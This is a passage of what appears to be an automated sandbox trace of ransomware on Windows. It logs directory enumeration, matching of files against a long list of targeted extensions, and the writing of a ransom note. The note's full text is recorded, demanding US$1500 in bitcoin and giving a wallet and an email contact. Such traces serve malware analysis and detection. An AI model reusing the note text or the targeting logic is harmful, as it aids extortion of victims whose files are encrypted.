PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SrpUxSnapIn\\780e5b2898b2cd49f5823dffac3b5e93\\SrpUxSnapIn.ni.dll", pszSpec="*.djvu") returned 0 [0112.264] lstrlenA (lpString="*.djvu") returned 6 [0112.264] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SrpUxSnapIn\\780e5b2898b2cd49f5823dffac3b5e93\\SrpUxSnapIn.ni.dll", pszSpec="*.tiff") returned 0 [0112.264] lstrlenA (lpString="*.tiff") returned 6 [0112.264] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SrpUxSnapIn\\780e5b2898b2cd49f5823dffac3b5e93\\SrpUxSnapIn.ni.dll", pszSpec="*.backup") returned 0 [0112.264] lstrlenA (lpString="*.backup") returned 8 [0112.264] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SrpUxSnapIn\\780e5b2898b2cd49f5823dffac3b5e93\\SrpUxSnapIn.ni.dll", pszSpec="*.pdf") returned 0 [0112.264] lstrlenA (lpString="*.pdf") returned 5 [0112.264] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SrpUxSnapIn\\780e5b2898b2cd49f5823dffac3b5e93\\SrpUxSnapIn.ni.dll", pszSpec="*.cert") returned 0 [0112.264] lstrlenA (lpString="*.cert") returned 6 [0112.264] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SrpUxSnapIn\\780e5b2898b2cd49f5823dffac3b5e93\\SrpUxSnapIn.ni.dll", pszSpec="*.docm") returned 0 [0112.264] lstrlenA (lpString="*.docm") returned 6 [0112.264] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SrpUxSnapIn\\780e5b2898b2cd49f5823dffac3b5e93\\SrpUxSnapIn.ni.dll", pszSpec="*.xlsm") returned 0 [0112.264] lstrlenA (lpString="*.xlsm") returned 6 [0112.264] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SrpUxSnapIn\\780e5b2898b2cd49f5823dffac3b5e93\\SrpUxSnapIn.ni.dll", pszSpec="*.dwg") returned 0 [0112.264] lstrlenA (lpString="*.dwg") returned 5 [0112.264] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SrpUxSnapIn\\780e5b2898b2cd49f5823dffac3b5e93\\SrpUxSnapIn.ni.dll", pszSpec="*.nd") returned 0 [0112.264] lstrlenA (lpString="*.nd") returned 4 [0112.264] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SrpUxSnapIn\\780e5b2898b2cd49f5823dffac3b5e93\\SrpUxSnapIn.ni.dll", pszSpec="*.tlg") returned 0 [0112.264] lstrlenA (lpString="*.tlg") returned 5 [0112.264] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SrpUxSnapIn\\780e5b2898b2cd49f5823dffac3b5e93\\SrpUxSnapIn.ni.dll", pszSpec="*.lgb") returned 0 [0112.265] lstrlenA (lpString="*.lgb") returned 5 [0112.265] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SrpUxSnapIn\\780e5b2898b2cd49f5823dffac3b5e93\\SrpUxSnapIn.ni.dll", pszSpec="*.mov") returned 0 [0112.265] lstrlenA (lpString="*.mov") returned 5 [0112.265] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SrpUxSnapIn\\780e5b2898b2cd49f5823dffac3b5e93\\SrpUxSnapIn.ni.dll", pszSpec="*.xdw") returned 0 [0112.265] lstrlenA (lpString="*.xdw") returned 5 [0112.265] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SrpUxSnapIn\\780e5b2898b2cd49f5823dffac3b5e93\\SrpUxSnapIn.ni.dll", pszSpec="*.ods") returned 0 [0112.265] lstrlenA (lpString="*.ods") returned 5 [0112.265] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SrpUxSnapIn\\780e5b2898b2cd49f5823dffac3b5e93\\SrpUxSnapIn.ni.dll", pszSpec="*.wav") returned 0 [0112.265] lstrlenA (lpString="*.wav") returned 5 [0112.265] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SrpUxSnapIn\\780e5b2898b2cd49f5823dffac3b5e93\\SrpUxSnapIn.ni.dll", pszSpec="*.mp3") returned 0 [0112.265] lstrlenA (lpString="*.mp3") returned 5 [0112.265] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SrpUxSnapIn\\780e5b2898b2cd49f5823dffac3b5e93\\SrpUxSnapIn.ni.dll", pszSpec="*.aiff") returned 0 [0112.265] lstrlenA (lpString="*.aiff") returned 6 [0112.265] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SrpUxSnapIn\\780e5b2898b2cd49f5823dffac3b5e93\\SrpUxSnapIn.ni.dll", pszSpec="*.flac") returned 0 [0112.265] lstrlenA (lpString="*.flac") returned 6 [0112.265] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SrpUxSnapIn\\780e5b2898b2cd49f5823dffac3b5e93\\SrpUxSnapIn.ni.dll", pszSpec="*.m4a") returned 0 [0112.265] lstrlenA (lpString="*.m4a") returned 5 [0112.265] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SrpUxSnapIn\\780e5b2898b2cd49f5823dffac3b5e93\\SrpUxSnapIn.ni.dll", pszSpec="*.csv") returned 0 [0112.265] lstrlenA (lpString="*.csv") returned 5 [0112.265] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x311ed631, ftCreationTime.dwHighDateTime=0x1cb8b27, ftLastAccessTime.dwLowDateTime=0x311ed631, ftLastAccessTime.dwHighDateTime=0x1cb8b27, ftLastWriteTime.dwLowDateTime=0xeaff7b82, ftLastWriteTime.dwHighDateTime=0x1cb8939, nFileSizeHigh=0x0, nFileSizeLow=0x175a00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="SrpUxSnapIn.ni.dll", cAlternateFileName="SRPUXS~1.DLL")) returned 0 [0112.265] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0112.266] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x674414e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x674414e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x674414e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="780e5b2898b2cd49f5823dffac3b5e93", cAlternateFileName="780E5B~1")) returned 0 [0112.266] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0112.266] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3f1e66f0, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0x3f1e66f0, ftLastAccessTime.dwHighDateTime=0x1d301c0, ftLastWriteTime.dwLowDateTime=0x3f1e66f0, ftLastWriteTime.dwHighDateTime=0x1d301c0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x720053, dwReserved1=0x550070, cFileName="stdole", cAlternateFileName="")) returned 1 [0112.266] lstrcmpA (lpString1=".", lpString2="stdole") returned -1 [0112.266] lstrcmpA (lpString1="..", lpString2="stdole") returned -1 [0112.266] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\*.*") returned="*.*" [0112.266] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\", lpString2="stdole" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\stdole") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\stdole" [0112.266] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\stdole") returned 53 [0112.266] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\stdole\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3f1e66f0, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0x3f1e66f0, ftLastAccessTime.dwHighDateTime=0x1d301c0, ftLastWriteTime.dwLowDateTime=0x3f1e66f0, ftLastWriteTime.dwHighDateTime=0x1d301c0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0112.266] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0112.267] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3f1e66f0, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0x3f1e66f0, ftLastAccessTime.dwHighDateTime=0x1d301c0, ftLastWriteTime.dwLowDateTime=0x3f1e66f0, ftLastWriteTime.dwHighDateTime=0x1d301c0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0112.267] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0112.267] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0112.267] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3f1e66f0, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0x3f1e66f0, ftLastAccessTime.dwHighDateTime=0x1d301c0, ftLastWriteTime.dwLowDateTime=0x3f1e66f0, ftLastWriteTime.dwHighDateTime=0x1d301c0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="70f1aed4a280583cbd09e0f5d9bbc1f5", cAlternateFileName="70F1AE~1")) returned 1 [0112.267] lstrcmpA (lpString1=".", lpString2="70f1aed4a280583cbd09e0f5d9bbc1f5") returned -1 [0112.267] lstrcmpA (lpString1="..", lpString2="70f1aed4a280583cbd09e0f5d9bbc1f5") returned -1 [0112.267] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\stdole\\*.*") returned="*.*" [0112.267] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\stdole\\", lpString2="70f1aed4a280583cbd09e0f5d9bbc1f5" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\stdole\\70f1aed4a280583cbd09e0f5d9bbc1f5") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\stdole\\70f1aed4a280583cbd09e0f5d9bbc1f5" [0112.267] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\stdole\\70f1aed4a280583cbd09e0f5d9bbc1f5") returned 86 [0112.267] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\stdole\\70f1aed4a280583cbd09e0f5d9bbc1f5\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3f1e66f0, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0x3f1e66f0, ftLastAccessTime.dwHighDateTime=0x1d301c0, ftLastWriteTime.dwLowDateTime=0x3f1e66f0, ftLastWriteTime.dwHighDateTime=0x1d301c0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0112.267] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0112.267] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3f1e66f0, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0x3f1e66f0, ftLastAccessTime.dwHighDateTime=0x1d301c0, ftLastWriteTime.dwLowDateTime=0x3f1e66f0, ftLastWriteTime.dwHighDateTime=0x1d301c0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0112.267] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0112.267] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0112.268] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3efd13b0, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0x3efd13b0, ftLastAccessTime.dwHighDateTime=0x1d301c0, ftLastWriteTime.dwLowDateTime=0x3efd13b0, ftLastWriteTime.dwHighDateTime=0x1d301c0, nFileSizeHigh=0x0, nFileSizeLow=0x16200, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="stdole.ni.dll", cAlternateFileName="STDOLE~1.DLL")) returned 1 [0112.268] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0112.268] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="stdole.ni.dll") returned -1 [0112.268] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="stdole.ni.dll") returned -1 [0112.268] lstrcmpiA (lpString1="", lpString2="stdole.ni.dll") returned -1 [0112.268] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\stdole\\70f1aed4a280583cbd09e0f5d9bbc1f5\\*.*") returned="*.*" [0112.268] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\stdole\\70f1aed4a280583cbd09e0f5d9bbc1f5\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\stdole\\70f1aed4a280583cbd09e0f5d9bbc1f5\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\stdole\\70f1aed4a280583cbd09e0f5d9bbc1f5\\" [0112.268] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\stdole\\70f1aed4a280583cbd09e0f5d9bbc1f5\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\stdole\\70f1aed4a280583cbd09e0f5d9bbc1f5\\") returned="" [0112.268] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\stdole\\70f1aed4a280583cbd09e0f5d9bbc1f5\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\stdole\\70f1aed4a280583cbd09e0f5d9bbc1f5\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\stdole\\70f1aed4a280583cbd09e0f5d9bbc1f5\\HOW TO DECRYPT FILES.txt" [0112.268] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\stdole\\70f1aed4a280583cbd09e0f5d9bbc1f5\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\stdole\\70f1aed4a280583cbd09e0f5d9bbc1f5\\how to decrypt files.txt")) returned 0xffffffff [0112.268] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\stdole\\70f1aed4a280583cbd09e0f5d9bbc1f5\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\stdole\\70f1aed4a280583cbd09e0f5d9bbc1f5\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0112.269] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0112.269] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0112.271] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0112.271] CloseHandle (hObject=0x90) returned 1 [0112.271] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\stdole\\70f1aed4a280583cbd09e0f5d9bbc1f5\\", lpString2="stdole.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\stdole\\70f1aed4a280583cbd09e0f5d9bbc1f5\\stdole.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\stdole\\70f1aed4a280583cbd09e0f5d9bbc1f5\\stdole.ni.dll" [0112.271] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\stdole\\70f1aed4a280583cbd09e0f5d9bbc1f5\\stdole.ni.dll", pszSpec="*.ems") returned 0 [0112.271] lstrlenA (lpString="*.ems") returned 5 [0112.271] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\stdole\\70f1aed4a280583cbd09e0f5d9bbc1f5\\stdole.ni.dll", pszSpec="*.db") returned 0 [0112.271] lstrlenA (lpString="*.db") returned 4 [0112.271] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\stdole\\70f1aed4a280583cbd09e0f5d9bbc1f5\\stdole.ni.dll", pszSpec="*.dbf") returned 0 [0112.271] lstrlenA (lpString="*.dbf") returned 5 [0112.271] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\stdole\\70f1aed4a280583cbd09e0f5d9bbc1f5\\stdole.ni.dll", pszSpec="*.myox") returned 0 [0112.271] lstrlenA (lpString="*.myox") returned 6 [0112.272] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\stdole\\70f1aed4a280583cbd09e0f5d9bbc1f5\\stdole.ni.dll", pszSpec="*.myo") returned 0 [0112.272] lstrlenA (lpString="*.myo") returned 5 [0112.272] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\stdole\\70f1aed4a280583cbd09e0f5d9bbc1f5\\stdole.ni.dll", pszSpec="*.qbw") returned 0 [0112.272] lstrlenA (lpString="*.qbw") returned 5 [0112.272] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\stdole\\70f1aed4a280583cbd09e0f5d9bbc1f5\\stdole.ni.dll", pszSpec="*.qbb") returned 0 [0112.272] lstrlenA (lpString="*.qbb") returned 5 [0112.272] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\stdole\\70f1aed4a280583cbd09e0f5d9bbc1f5\\stdole.ni.dll", pszSpec="*.qbm") returned 0 [0112.272] lstrlenA (lpString="*.qbm") returned 5 [0112.272] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\stdole\\70f1aed4a280583cbd09e0f5d9bbc1f5\\stdole.ni.dll", pszSpec="*.qbo") returned 0 [0112.272] lstrlenA (lpString="*.qbo") returned 5 [0112.272] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\stdole\\70f1aed4a280583cbd09e0f5d9bbc1f5\\stdole.ni.dll", pszSpec="*.qbx") returned 0 [0112.272] lstrlenA (lpString="*.qbx") returned 5 [0112.272] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\stdole\\70f1aed4a280583cbd09e0f5d9bbc1f5\\stdole.ni.dll", pszSpec="*.qba") returned 0 [0112.272] lstrlenA (lpString="*.qba") returned 5 [0112.272] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\stdole\\70f1aed4a280583cbd09e0f5d9bbc1f5\\stdole.ni.dll", pszSpec="*.qby") returned 0 [0112.272] lstrlenA (lpString="*.qby") returned 5 [0112.272] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\stdole\\70f1aed4a280583cbd09e0f5d9bbc1f5\\stdole.ni.dll", pszSpec="*.qbj") returned 0 [0112.272] lstrlenA (lpString="*.qbj") returned 5 [0112.272] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\stdole\\70f1aed4a280583cbd09e0f5d9bbc1f5\\stdole.ni.dll", pszSpec="*.ofx") returned 0 [0112.272] lstrlenA (lpString="*.ofx") returned 5 [0112.272] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\stdole\\70f1aed4a280583cbd09e0f5d9bbc1f5\\stdole.ni.dll", pszSpec="*.qif") returned 0 [0112.272] lstrlenA (lpString="*.qif") returned 5 [0112.272] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\stdole\\70f1aed4a280583cbd09e0f5d9bbc1f5\\stdole.ni.dll", pszSpec="*.mye") returned 0 [0112.272] lstrlenA (lpString="*.mye") returned 5 [0112.272] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\stdole\\70f1aed4a280583cbd09e0f5d9bbc1f5\\stdole.ni.dll", pszSpec="*.mbox") returned 0 [0112.273] lstrlenA (lpString="*.mbox") returned 6 [0112.273] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\stdole\\70f1aed4a280583cbd09e0f5d9bbc1f5\\stdole.ni.dll", pszSpec="*.eml") returned 0 [0112.273] lstrlenA (lpString="*.eml") returned 5 [0112.273] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\stdole\\70f1aed4a280583cbd09e0f5d9bbc1f5\\stdole.ni.dll", pszSpec="*.pst") returned 0 [0112.273] lstrlenA (lpString="*.pst") returned 5 [0112.273] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\stdole\\70f1aed4a280583cbd09e0f5d9bbc1f5\\stdole.ni.dll", pszSpec="*.ost") returned 0 [0112.273] lstrlenA (lpString="*.ost") returned 5 [0112.273] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\stdole\\70f1aed4a280583cbd09e0f5d9bbc1f5\\stdole.ni.dll", pszSpec="*.idx") returned 0 [0112.273] lstrlenA (lpString="*.idx") returned 5 [0112.273] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\stdole\\70f1aed4a280583cbd09e0f5d9bbc1f5\\stdole.ni.dll", pszSpec="*.dbx") returned 0 [0112.273] lstrlenA (lpString="*.dbx") returned 5 [0112.273] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\stdole\\70f1aed4a280583cbd09e0f5d9bbc1f5\\stdole.ni.dll", pszSpec="*.sql") returned 0 [0112.273] lstrlenA (lpString="*.sql") returned 5 [0112.273] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\stdole\\70f1aed4a280583cbd09e0f5d9bbc1f5\\stdole.ni.dll", pszSpec="*.mdb") returned 0 [0112.273] lstrlenA (lpString="*.mdb") returned 5 [0112.273] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\stdole\\70f1aed4a280583cbd09e0f5d9bbc1f5\\stdole.ni.dll", pszSpec="*.fdb") returned 0 [0112.273] lstrlenA (lpString="*.fdb") returned 5 [0112.273] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\stdole\\70f1aed4a280583cbd09e0f5d9bbc1f5\\stdole.ni.dll", pszSpec="*.wab") returned 0 [0112.273] lstrlenA (lpString="*.wab") returned 5 [0112.273] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\stdole\\70f1aed4a280583cbd09e0f5d9bbc1f5\\stdole.ni.dll", pszSpec="*.dat") returned 0 [0112.273] lstrlenA (lpString="*.dat") returned 5 [0112.273] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\stdole\\70f1aed4a280583cbd09e0f5d9bbc1f5\\stdole.ni.dll", pszSpec="*.txt") returned 0 [0112.273] lstrlenA (lpString="*.txt") returned 5 [0112.273] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\stdole\\70f1aed4a280583cbd09e0f5d9bbc1f5\\stdole.ni.dll", pszSpec="*.jpeg") returned 0 [0112.273] lstrlenA (lpString="*.jpeg") returned 6 [0112.273] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\stdole\\70f1aed4a280583cbd09e0f5d9bbc1f5\\stdole.ni.dll", pszSpec="*.jpg") returned 0 [0112.274] lstrlenA (lpString="*.jpg") returned 5 [0112.274] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\stdole\\70f1aed4a280583cbd09e0f5d9bbc1f5\\stdole.ni.dll", pszSpec="*.png") returned 0 [0112.274] lstrlenA (lpString="*.png") returned 5 [0112.274] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\stdole\\70f1aed4a280583cbd09e0f5d9bbc1f5\\stdole.ni.dll", pszSpec="*.php") returned 0 [0112.274] lstrlenA (lpString="*.php") returned 5 [0112.274] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\stdole\\70f1aed4a280583cbd09e0f5d9bbc1f5\\stdole.ni.dll", pszSpec="*.cs") returned 0 [0112.274] lstrlenA (lpString="*.cs") returned 4 [0112.274] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\stdole\\70f1aed4a280583cbd09e0f5d9bbc1f5\\stdole.ni.dll", pszSpec="*.cpp") returned 0 [0112.274] lstrlenA (lpString="*.cpp") returned 5 [0112.274] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\stdole\\70f1aed4a280583cbd09e0f5d9bbc1f5\\stdole.ni.dll", pszSpec="*.rar") returned 0 [0112.274] lstrlenA (lpString="*.rar") returned 5 [0112.274] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\stdole\\70f1aed4a280583cbd09e0f5d9bbc1f5\\stdole.ni.dll", pszSpec="*.zip") returned 0 [0112.274] lstrlenA (lpString="*.zip") returned 5 [0112.274] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\stdole\\70f1aed4a280583cbd09e0f5d9bbc1f5\\stdole.ni.dll", pszSpec="*.html") returned 0 [0112.274] lstrlenA (lpString="*.html") returned 6 [0112.274] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\stdole\\70f1aed4a280583cbd09e0f5d9bbc1f5\\stdole.ni.dll", pszSpec="*.htm") returned 0 [0112.274] lstrlenA (lpString="*.htm") returned 5 [0112.274] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\stdole\\70f1aed4a280583cbd09e0f5d9bbc1f5\\stdole.ni.dll", pszSpec="*.xlsx") returned 0 [0112.274] lstrlenA (lpString="*.xlsx") returned 6 [0112.274] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\stdole\\70f1aed4a280583cbd09e0f5d9bbc1f5\\stdole.ni.dll", pszSpec="*.xls") returned 0 [0112.274] lstrlenA 